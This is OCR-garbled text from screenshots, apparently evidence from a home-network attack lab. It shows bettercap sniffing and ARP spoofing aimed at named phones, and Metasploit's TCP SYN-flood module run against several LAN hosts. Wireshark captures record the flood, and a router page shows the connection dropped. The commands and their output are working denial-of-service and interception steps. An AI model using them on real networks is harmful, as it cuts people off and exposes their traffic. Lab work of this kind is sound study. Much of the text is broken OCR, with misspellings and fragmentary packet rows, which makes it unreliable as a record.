192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13:07:28] [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [net.sniff.https] Sl 192.168.1.100 >
[13:07:28] [net.sniff.nttps] Sl 192.168.1.100 >

192.168.1.0/24 » [13 8] [net.sniff.https] Ell 192.168.1.100 >
192.168.1.0/24 » [13:07:28] [net.sniff.https] S 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13:07:28] [net.sniff.https] S 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13:07:33] [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] Sl 192.168.1.100 >
[13:07:34] [net.sniff.nttps] Sl 192.168.1.100 >

[13:07:34] [net.sniff.https] SN 192.168.1.100 >

192.168.1.0/24 » [13 4] [net.sniff.https] Bl 192.168.1.100 >
192.168.1.0/24 » [13 4] [net.sniff.https] Sl 192.168.1.100 >
192.168.1.0/24 » [13 4] [net.sniff.https] Sl 192.168.1.100 >
192.168.1.0/24 » [13 4] [net.sniff.https] Sl 192.168.1.100 >
192.168.1.0/24 » [13 5] [net.sniff.https] Sl 192.168.1.100 >
192.168.1.0/24 » [13 5] [net.sniff.https] Sl 192.168.1.100 >
192.168.1.0/24 »[]
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a root@kali: /home/kali-user Q

L4008 haf 26 » net.snirr LNET.SNLTT.ATIPS) BAM 192.108.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] S 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46 [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:38] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:39] [net.sniff.https] Sl 192.168.1.101 >
[13:46:39] [net.sniff.https] B 192.168.1.101 >

192.168.1.0/24 » net.sniff on[13:46:39] [net.sniff.https] Ell 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:39] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:39] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:39] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46 [net.sniff.https] MM 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:45] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:45] [net.sniff.https] Sl 192.168.1.101 >
192.168.1.0/24 » net.sniff on[13:46:45] [net.sniff.https] Sl 192.168.1.101 >

[13:46:45] [net.sniff.https] B 192.168.1.101 >

192.168.1.0/24 net.sniff on[13:46:45] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:46:46] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:46:46] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:46:46] [net.sniff.https]
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff on[13:46 [net.sniff.https’
192.168.1.0/24 net.sniff on[13:47:13] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:13] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff [net.sniff.https’
192.168.1.0/24 net.sniff on[13:47 [net.sniff.https’
192.168.1.0/24 net.sniff on[13:47:14] [net.sniff.https]

S s el 5 et

B 192.168.1.101
il 192.168.1.101
§l 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
§l 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
il 192.168.1.101
§l 192.168.1.101
il 192.168.1.101
fl 192.168.1.101
il 192.168.1.101
il 192.168.1.101
§l 192.168.1.101
il 192.168.1.101
il 192.168.1.101

vvsvvvvvvsvvvsvvvvsvvvewvw
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Wi-Fi security alert

Suspicious activity has been detected on the
current Wi-Fi network ("TP-Link_6873").
Disconnecting from this network is recommended.
If you trust this network, you can add it as an
exception so you won't see this warning again.

Disconnect Add to exceptions




image56.png
Internet

Wireless Clients

Internet

WAN Interface Name:
Internet Status:
1P Address:

DNS Server:

3G/4G

™

Speed Test
= a
! 24GHz 5GHz
Archer MR600
Wired Clients
83
Connected

10.39.245.136

194.168.4.100 194.168.8.100

Mesh Devices

@0

Message




image57.png
Capturing from wian0 o x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

g RN QesEFIJEQaqlE

Y 2 display fiter — <Cw =+

No. Time. Source. Destination Protocol Lengtt Info E
MM WA S e

Erame 1: 330 bytes on wire (2640 bits), 330 bytes captured (2640 bits) on interface wland, id 0
Ethernet IT, Src: Tp-LinkT c4:68:73 (50:04:f7:c4:68:73), DSt: Broadcast (ff:ffiffiffiff:ff)
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.255

User Datagram Protocol, Src Port: 39954, Dst Port: 20002

Data (288 bytes)

0000 f7 ff fr ff ff £f CONGERNG] c4 68 73 08 00 45 00 =
©13c 00 60 40 00 40 11 b5 60 cO a8 01 01 O a8 < 0.0
1 f 9c 12 de 22 01 28 92 94 61 0 00 01 61 10 N

1100 00 00 09 80 1 00 f5 24 B1 a3 ce ab df b7
48 bc 9o a4 86 76 84 eb 89 ec ce e2 cO a4 c5 bl
49 £2 c8 b3 91 76 84 eb Qe ee bl U8 bc Oe a4 85
7 d2 e1 85 b6 82 e3 db f6 c6 a4 c2 7 da ea dd £

© 7 wlano: <live capture in progress> Packets: 94 - Displayed: 94 (100.0%) _Profile: Default
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[i] Database already started
[i] The database appears to be already configured, skipping initialization

/
Pl 7 AN
VANV

2105 exploits - 1134 auxiliary - 357 post
592 payloads - 45 encoders - 10 nops
8 evasion

1
1
1
]

Metasploit tip: Use help <command> to learn more
about any command

ns6 > |




image59.png
nsf6 > use auxiliary/dos/tcp/synflood

msf6 auxiliary(:-- =~/ - 00 o00) > Set RHOST 192.168.1.100
[~ unknown command: Set.

msf6 auxiliary(:~- © ;-0 io00) > set RHOST 192.168.1.100
RHOST => 192.168.1.100

nsf6 auxiliary( oo/ oo cniiood) > exploit ||
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[*] Running module against 192.168.1.100

[#] SYN flooding 192.168.1.100:80. ..




image61.png
™

Speed Test
| =
! 24GHz 5GHz
Internet Archer MR600
Wireless Clients Wired Clients

Internet

WAN Interface Name LTE

Intemet Status: Disconnected

Please reconfigure your parameters. Ifthe problem sl exists, please contact your ISP.
1P Address: 10.84.46.206

DNS Server: 194.168.4.100 194.168.8.100
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
X

Source

191634610 147.147 . R 55845 ~ 80 [SYN] Seq:
1791984176 147.147. 168,10 8370 - 80 [SYN] Seq=
% 1o o (S Se

iy
1793218571

704625201

794907762
[1CP Port number
[TCP Port numbers r

ey
1797790875

~803000101
1803574945
2003550070

15027 - 80 _[SYN] Seq:
TTCP Port_nunbers reuse

Erame 1: 330 bytes on wire (2640 bits), 330 bytes captured (2640 bits) on interface wland, id 0
Ethernet IT, Src: Tp-LinkT c4:68:73 (50:04:f7:c4:68:73), DSt: Broadcast (ff:ffiffiffiff:ff)
Internet Protocol Version 4, Src: 192.168.1.1, Dst

User Datagram Protocol, Src Port: 39954, Dst Port: 20002

Data (288 bytes)

0900 T FF T o E o
o 5 60

9 5 61 75 52 o4
20 00 f1d0 7524
% 84 eb 89 ec
8 84 eb 9 ee
el e3 db 76 c6

© 7 wlano: <live capture in progress> Packets: 55114 - Displayed: 55114 (100.0%) _Profile: Default
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“C ~ Stopping running against current target...
[+] Control-C again to force quit all targets.
[+] Auxiliary module execution completed

msf6 auxiliary(<os/ccp/syniond) > []
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nsf6 > use auxiliary/dos/tcp/synflood

msf6 auxiliary(: - =cp cniioo0) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101

nsf6 auxiliary( oo/ oo ciniiood) > exploit ||
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nsf6 > use auxiliary/dos/tcp/synflood

nsf6 auxiliary( oo/ /<07 ioo) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101

nsf6 auxiliary( /oo oo <niiood) > exploit

[+] Running module against 192.168.1.101

[+] SYN flooding 192.168.1.101:80...

“C' | Stopping running against current target...
[+] Control-C again to force quit all targets.
[+] Auxiliary module execution completed

msf6 auxiliary(:o-/ccp/=vniiood) > exploit

[+] Running module against 192.168.1.101

[+] SYN flooding 192.168.1.101:80...

“C' | Stopping running against current target...
[+] Control-C again to force quit all targets.
[+] Auxiliary module execution completed

msf6 auxiliary(<os/tcp/svniiond) > []
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“C - Stopping running against current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed

msf6 auxiliary(: - o -0 io0d) > |:|
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Applications  Places @ wireshark

= Laptop battery low
tics| Telephony. Wireless Tools] Help W oproximately 21 minutes remaining (10%)

Protocol _Length Info
600170755  fed 3:1154:4257... 1102::1:FF1f:f0df  ICMPVG Neighbor Solicitation for feBO::6a13:24ff:felf:fedf from 1e:15:7a:6b:33:b3
521996760 fe 3:1154:4257.. Ff02::1:FFIF:fOdf  TCMPVG Neighbor Solicitation for feBo::6a13:24ff:fe1f:fedf from 1e:15:7a:6b:33:b3
546102463 fes 3:1154:4257.. Ffo2::1:FF1f:fodf  ICMPVG Neighbor Solicitation for fe8o::6a13:24ff:fe1f:fedf from 1e:15:7a:6b:33:b3
338633164 192.168.8.103 192.168.8.1 oNS 84 Standard query 0x8cd2 A myaccount.vodafone.co.uk
338648124 192.168.8.103 192.168.8.1 NS 84 Standard query 0x1a48 AAAA myaccount.vodafone.co.uk
349480644 FeBO: :6a13:24FF:fel.. feBO::42b7:2dca:bed.. TCHPVG 86 Neighbor Solicitation for fes0::42b7:2dca:bedS:e9f2 From 68:13:24:1f:f0:df
349531369 feBO: :42b7:2dcabed.. feBO: :6a13:24fF:fel. ICHPVG 78 Neighbor Advertisement fese::42b7:2dca:bed5:e9f2 (sol)
391013479 192.168.8.1 192.168.5.103 oNS 208 Standard query response 8xBcd2 A myaccount.vodafone.co.uk CNAME nlb-ecarereinvent-6fBchBf48de33oed. elb. eu-west-1.amazonaws.com A 34.
391013586 192.168.8.1 192.168.5.103 DNS 244 Standard query response ©x1ad0 AAAA myaccount.vodafone.co.uk CNAME nlb-ecarereinvent-6fBcbBf48d0338ed. elb. cu-west -1. anazonaws.com A
28.391887264  2a01:408:1c84 Tcp 9434214 ~ 443 [SYN] Se TSval=2135366636 TSecr=0 WS=128
28.448174757 64:ffob: :222: :4c8: t. TCP 80 443 ~ 34214 [SYN, ACK] Se i 56 SACK_PERH=1
3 28.445193679  2a01:4c8:1c84 3 Tcp 7434214 - 443 [ACK] Seq=1 Ack=1 Win=64896 Len=
28450110087 _ 2a01:408:1c84 3 TUSv1.3 587 Client Hello
725348393 5 i B [TCP Retransmission] 34214 ~ 443 [PSH, ACK] Seq=1 ACk=1 Win:
808149465 64:FF9b: :22F2:b3 2a01:4c8: 10! 5:.. TCP 74443 ~ 34214 [ACK] Se ck=514 Win=128768 Lei
824502905 64:FF9b: :22f2:b3 2a01:4¢8: 101 5:. TLSvi.3 1683 Server Hello, Change Cipher Spec, Application Data
824503045 64:FF9b: :22F2:b3 2a01:4¢8: 101 5:. TCP 1404 443 - 34214 [PSH, ACK] Seq=1530 Ack=514 Win=128768 Len=1330 [TCP segment of a reassembled PDU]
824503125 64:FF9b: :222:b3 2a01:4¢8: 101 5:. TLSvi.3 553 Application Data, Application Data, Application Data
824544394 2201:4c8:1c84 64:Ffob 3 Tcp 7434214 - 443 [ACK] Seq=514 Ack=1530 Win=63488 Len:
824568470 2201:4c8:1c84 64:ffob 3 Tcp 74 34214 - 443 [ACK] Seq=514 Ack=2860 Win=62208 Len=0
824502124 2a01:4c8:1c84 64:ffob 3 Tcp 74 34214 - 443 [ACK] Seq=514 Ack=3339 Win=61824 Len:
827554259 192.168.5.103 192.168.8.1 oNs 77 Standard query Oxe8ib A ocsp.digicert.com
840162902 192.168.8.1 192.168.8. 10 oNs 125 Standard query response Oxe8ib A ocsp.digicert.com CNAVE cs9.wac.phicdn.net A 93.184.220.29
840408684 192.168.8.103 93.184.220.29 Tcp 7451388 - 80 [SYN] S 4240 Len=0 MSS=1460 SACK PERV=1 Tsva
881340248 93.184.220.29 192.168.8.1 Tcp 6680 ~ 51388 [SYN, 32768 Len=e MSS=1330 WS=256 SACK_PERM=1
881386255 192.168.5.103 93.184.220.29 Tcp 5451388 - 80 [ACK] S
881718387 192.168.8.103 93.184.220.29 ocsp 425 Request
920948314 93.184.220.29 192.168.8.103 Tcp 5480 - 51388 [ACK] S 72 Win=154112 Len:
936268564 93.184.220.29 192.168.8.1 ocsp 853 Response
936321309 192.168.5.103 93.184.220.29 Tcp 5451388 - 80 [ACK] S 3488 Le:
942280635 2a01:4c8:1c84 64:Ffob: :22F2 TUSV1.3 138 Change Cipher Spec, Application Data
942709106 2a01:4c8:1c84 64:Ffob: :22F2 TLSV1.3 2676 Application Data
984641017 64:FF9b: :222:b3 2a01:4c8:1c84 Tcp 74443 - 34214 [ACK] Seq=3339 Ack=578 Win=126768 Le
000136892 64:FF9b: :22F2:b3 2a01:4c8:1c84 Tce 74 443 - 34214 [ACK] Seq=3339 Ack=3180 Win=126268 Len=0
028175204 64:FF9b: :22F2:b3 2a01:4c8:1c84 TLSv1.3 982 Application Data
028218683 2a01:4c8:1c84 64:Ffob: :22F2 Tcp 74 34214 - 443 [ACK] Seq=3186 Ack=4247 Win=63232 Len=0
036023064 2a01:4c8:1c84 64:ffob::22F2 Tcp 2734 34214 -~ 443 [PSH, ACK] Seq=3180 Ack=4247 Win=64128 Len=2660 [TCP segment of a reassembled PDU]
036411165 _2a01:4c8: 1c84 64: Ffob: :22F2 TUSv1.3 204 Application
» Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface wlane, id ©
» Ethernet II, Src: Huaweibe_1f:f0:df (68:13:24:1f:f0:df), Dst: IntelCor_id: 8
» Address Resolution Protocol (request)

1
1

8 ac 65 1d 8e c2 68 13 24 1f fo df 08 06 00 61
©8 00 06 04 00 01 68 13 24 1f fO df co a8 08 01
90 60 G0 60 00 60 O a8 08 67

‘wilan0: <live capture In progress> Packets: 3318 - Displayed: 3318 {100.0%)
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(root @daniel-iphone)-[~]

sudo msfdb init &5 msfconsole
[i] Database already started
[i] The database appears to be already configured, skipping initialization
] The following modules could not be Loade

1 /usr/share/metasploit-franework/modules/auxiliary/scanner/nsnail/host_id.go

[1]  /usr/share/metasploit-framework/modules/auxiliary/scanner/msnail/exchange_enum.go
1 /usr/share/metasploit-franework/modules/auxiliary/scanner/nsnail/onpren_enun. go
1 Please see /root/.nsf4/logs/framework.log for details.

# cousay++

< metasploit >

\

\ (o0)____
N
(lIE=AI) <2

=[ metasploit v6.0.36-dev

2106 exploits - 1131 auxiliary - 357 post
592 payloads - 45 encoders - 10 nops

8 evasion

Metasploit tip: View advanced module options with
advanced

nsf6 > use auxiliary/dos/tcp/synflood

msf6 auxiliary(: - =-p <niioo0) > set RHOSTS 192.168.8.102
RHOSTS => 192.168.8.102

msf6 auxiliary(<o-/tcp/<unilood) > exploit ||
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msf6 > use auxiliary/dos/tcp/synflood

nsf6 auxiliary( oo/ /<07 ioo) > set RHOSTS 192.168.8.102
RHOSTS => 192.168.8.102

nsf6 auxiliary( oo/ oo cnfiood) > exploit

[+] Running module against 192.168.8.102

[+] SYN flooding 192.168.8.102:80...

“C' | Stopping running against current target...
[+] Control-C again to force quit all targets.
[+] Auxiliary module execution completed

msf6 auxiliary(ios/tcp/suniiood) > ||
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msf6 auxiliary( '~ = - 1 c00) > set RHOSTS 192.168.8.101
RHOSTS => 192.168.8.101

msf6 auxiliary( '~ = - 000) > exploit
[*] Running module against 192.168.8.101

[*] SYN flooding 192.168.8.101:80...
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Places @ wireshar 31 Mar 15:05
Capturing from wlan0. - o x

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AOA® tBBB ac>nc>EEcoo @l

(W[Ppply a display fitter .. <Ctri-/>

No. Time Source
67485 23.705930577 137,

Protocol  Length Info

TCP. 54 [TCP Port numbers reused] 45121 ~ 89
Seq=0 in=3101

reused]

Win=3212 Len=o

535341
706835336 +121.211.
67488 23.707318427 137.121.211.

54 [TCP POrt numbers:

Tcp. 54 [TCP Port numbers reused] 62252 ~ 89 [SYN]
67489 23.707765576  137.121.211. TeP 54 [TCP Port numbers reused] 41583 ~ 89 [SYN]
67490 23.708109543  137.121.211. TeP 54 [TCP Port numbers reused] 42648 ~ 89 [SYN]
67491 23.708419707 137.121.211. TeP 54 [TCP Port numbers reused] 11253 ~ 89 [SYN]
67492 23.708731937 137.121.211. TeP 54 [TCP Port numbers reused] 56967 ~ 89 [SYN]
67493 23.709037343  137.121.211. TeP 54 [TCP Port numbers reused] 33790 -~ 89 [SYN]
67494 23.709343305 137.121.211. TeP 54 [TCP Port numbers reused] 52558 ~ 89 [SYN]
67495 23.709648030 137.121.211. TeP 54 [TCP Port numbers reused] 26321 ~ 89 [SYN]
67496 23.709961019  137.121.211. TeP 54 [TCP Port numbers reused] 39333 ~ 89 [SYN]
67497 23.710263437 137.121.211. TeP 54 [TCP Port numbers reused] 23519 - 89 [SYN]
67498 23.710569494 137.121.211. TeP 54 [TCP Port numbers reused] 17895 ~ 89 [SYN] Win=3584 Len=0

reused] Viin=3230 Le

710922655
e
711533626
711837682

54 [TCP_Port numbers

q=0 Win=2197 Len=
) uin

54 [TCP POFt numbers reused] 12597 — 89
54 [TCP Port numbers reused] 13108 ~ 89 [SYN]
54 [TCP_Port numbers reused] 62432 ~ 89

- 80 [SYN]

- 80 [SYN]
54 [TCP POFt numbers reused] 65082
54 [TCP Port numbers reused] 44228
54 [TCP Port numbers reused] 31753 ~
54 [TCP Port numbers reused] 33872 ~
54 [TCP_Port numbers reused] 12073

26594 - 50 [SYN] Seq=0 Win=358

54 [TCP POFt numbers reused] 12276
54 [TCP Port numbers reused] 35385 —
54 [TCP Port numbers reused] 57966
54 [TCP Port numbers reused] 20030 —
54 [TCP Port numbers reused] 43121 —
54 [TCP_Port numbers reused] 46124

712447171 B
712748365 137.
71304

Win=719 Len=o

714324345 B
714704521 137.
715363931 137.
715729071 137.
716032742

Win=1425 Len=o

Win=194 Len=e
Win=484 Len=o

716583061 B
716858384 137.
717134163 137.
717408231 137.
717690958 137.
717988706

Win=1399 Len=o
Win=418 Len=e
VWin=3014 Le

67521

5 g I
718531324 137.121.211. 54 [TCP POrt numbers reused] 8158 — 80 [SYN] Seq=0 Win=3536 Len=0
Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface wlane, id ©

Ethernet II, Src: IntelCor id:8e:c2 (f8:ac:65:1d:8e:c2), Dst: 5a:84:34:8c:c5:ica (5a:84:34:8c:c5:ca)

Internet Protocol Version 4, Src: 137.121.211.153, Dst: 192.168.8.101

Transmission Control Protocol, Src Port: 17580, Dst Port: 80, Seq: O,
58 84 34 8c c5 ca f8 ac 65 1d 8e c2 08 00 45 00 7.4 €E
0 28 96 3a 60 0 90 06 Ge 75 89 79 d3 99 CO a8 (.1 .- nuy
68 65 44 ac 60 50 b8 88 21 5c 60 G0 60 60 50 62 €D .- I\« P
68 9a 62 47 60 00 b6

@ B wian0: <live capture In progress> Packets: 67522 - Displayed: 67522 (100.0%) Profile: Default




image72.png
EECFIEGECER » net [15:26:14] [endpoint.new] endpoint 192.168.8.102 detected as le:15:7a
> 192.168.8.103 [ERRIETEN

P . MAC Name Vendor sent | Recvd Seen

192.168.8.103 | f8:ac:65:1d 2 | wlano Intel Corporate 0B 0B 15 8
192.168.8.1 68:13:24:1f:f0:df | gateway Huawei Device Co., Ltd. | 10 kB | 5.7 kB | 15:24:08
192.168.8.101 James-s-Galaxy-520-Ultra-56. 2.4 kB | 1.8 kB | 15 7
192.168.8.102 Jamess-iPhone. 1.8 kB | 644 B | 15 9

© 269 kB / + 1.5 MB / 18810 pkts

> 192.168.8.103 [EN |




image73.png
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>192.168.8.103
> 192.168.8.103
net.sniff.mdns
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103

> 192.168.8.103
> 192.168.8.103

@ Terminal 31 Mar 15:33
root@daniel-iphor

» set net.sniff.verbose true

» net.sniff on

Jamess-iPhone. : PTR query for _companion-link. tcp.local

» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15 5] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15 8] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15 8] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15 8] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15 8] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. : PTR query

» set arp.spoof.targets 192.168.8.102

» arp.spoof on

P

» [15:33:03] [sys.log] [
» 1

arp spoofer started, probing 1 targets.

for
for
for
for
for
for
for
for
for
for
for

_hap._tcp. local
“homekit._tcp.local
“hap._udp. local
_raop._tcp.local
Cairplay._tcp.local
Zcompanion-Link._tcp.local
“hap._tcp. local
“homekit._tcp.local
“hap._udp. local
_raop._tcp.local
Cairplay._tcp.local





image74.png
net.sniff.mdns
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103

192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103

192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
192.168.8.103
net. sniff.ndns

> 192.168.8.103

> 192.168.8.103

> 192.168 103

rp

5] [sys.log] I

> 192.168.8.103

Jamess-iPhone. : PTR query for _companion-link._ tcp.local

» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:35] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102[15:32:48] [net.sniff.mdns] Jamess-iPhone. query
» set arp.spoof.targets 192.168.8.102

» arp.spoof on

ST enabling forwarding

» [sys.log] [HEN) arp spoofer started, probing 1 targets.

» [net.sniff.udp] Jamess-iPhone.:ipsec-nat-t > 80.0.253.2:ipsec-nat-t 9 bytes

» [net.sniff.udp] Jamess-iPhone.:ipsec-nat-t > 80.0.253.2:ipsec-nat-t 9 bytes

» [net.sniff.mdns] Jamess-iPhone. : PTR query for _hap._tcp.local

» [net.sniff.mdns] Jamess-iPhone. : PTR query for _companion-link._ tcp.local

» [net.sniff.mdns] Jamess-iPhone. : PTR query for _hap._ udp.local

» [15 [net.sniff.mdns] Jamess-iPhone. : PTR query for _homekit. tcp.local

» [15 [net.sniff.mdns] Jamess-iPhone. : PTR query for _raop._tcp.local

» [15 [net.sniff.mdns] Jamess-iPhone. : PTR query for _airplay._ tcp.local

» [15 [net.sniff.udp] psec-nat-t > 80.0.253.2:ipsec-nat-t 9 bytes

» [15:33:35] [net.sniff.udp] Jamess-iPhone.:ipsec-nat-t > 80.0.253.2:ipsec-nat-t 9 bytes

Jamess-iPhone. : ipsec-nat-t > 80.0.253.2:ipsec-nat-t 9 bytes

» [15 [net.sniff.udp] psec-nat-t > 80.0.253.2
[15 [net.sniff.udp] psec-nat-t > 80.0.253.2
[15 [net.sniff.udp] psec-nat-t > 80.0.253.2

[15 [net.sniff.udp] 0.0.0.0:bootpc > 255.255.255.25!
[15 [net.sniff.udp] 0.0.0.0:bootpc > 255.255.255.25!
[15 [endpoint.new] endpoint 192.168.8.104 detected as 0

[net.sniff.mdns] 192.168.8.104
[15 [net.sniff.mdns] 192.168.8.104
[15 [net.sniff.mdns] 192.168.8.104

192.168.8.104 : PTR query for _airplay._tcp.local

» [15
» set arp.spoof.targets 192.168.8.104
» arp.spoof off

“JI]] restoring ARP cache of 1 targets.
~00] waiting for ARP spoofer to stop .

» arp.spoof on

psec-nat-t 9 bytes
psec-nat-t 9 bytes
psec-nat-t 9 bytes
00tps 308 bytes

00tps 308 bytes

f8:7b:ac:99 (Apple, Inc.).

PTR query for _companion-link._tcp.local
PTR query for _hap._tcp.local

PTR query for _homekit._tcp.local

[15 [net.sniff.mdns] 192.168.8.104 : PTR query for _hap._ udp.local

[15 [net.sniff.mdns] 192.168.8.104 : PTR query for _raop._tcp.local

